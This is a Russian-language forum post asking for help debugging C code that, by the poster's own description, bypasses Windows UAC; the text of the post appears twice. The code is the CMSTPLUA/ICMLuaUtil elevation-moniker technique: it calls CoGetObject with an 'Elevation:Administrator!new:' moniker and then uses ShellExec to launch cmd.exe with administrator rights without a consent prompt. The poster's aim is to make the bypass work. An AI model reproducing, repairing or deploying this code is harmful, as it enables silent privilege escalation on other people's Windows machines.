O
ostanovka777
Доброго времени суток.
Есть код который пропускает UAC, в другом проекте все замечательно работает.
В моем падает с ошибкой.
Ниже код функции:
Выходит из цикла, так как r == MK_E_SYNTAX, после выполнения CoGetObject.
Бьюсь вторые сутки не могу понять из-за чего.
В исходном варианте все работает без проблем и при смене аргументов.
Если нужно будет приложу header файл.
Заранее спасибо.
Есть код который пропускает UAC, в другом проекте все замечательно работает.
В моем падает с ошибкой.
Ниже код функции:
C:
VOID check()
{
HRESULT r = E_FAIL;
BOOL bCond = FALSE;
IID xIID_ICMLuaUtil;
CLSID xCLSID_ICMLuaUtil;
ICMLuaUtil *CMLuaUtil = NULL;
BIND_OPTS3 bop;
WCHAR szElevationMoniker[MAX_PATH];
do {
if (CLSIDFromString(T_CLSID_CMSTPLUA, &xCLSID_ICMLuaUtil) != NOERROR) {
break;
}
if (IIDFromString(T_IID_ICMLuaUtil, &xIID_ICMLuaUtil) != S_OK) {
break;
}
RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker));
strcpy_w(szElevationMoniker, L"Elevation:Administrator!new:");
strcat_w(szElevationMoniker, T_CLSID_CMSTPLUA);
RtlSecureZeroMemory(&bop, sizeof(bop));
bop.cbStruct = sizeof(bop);
bop.dwClassContext = CLSCTX_LOCAL_SERVER;
r = CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, &xIID_ICMLuaUtil, &CMLuaUtil);
if (r == MK_E_SYNTAX) {
printf("MK_E_SYNTAX\n");
}
if (r != S_OK) {
printf("wft");
break;
}
r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, L"C:\\windows\\system32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW);
} while (bCond);
if (CMLuaUtil != NULL) {
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
}
}
Выходит из цикла, так как r == MK_E_SYNTAX, после выполнения CoGetObject.
Бьюсь вторые сутки не могу понять из-за чего.
В исходном варианте все работает без проблем и при смене аргументов.
Если нужно будет приложу header файл.
Заранее спасибо.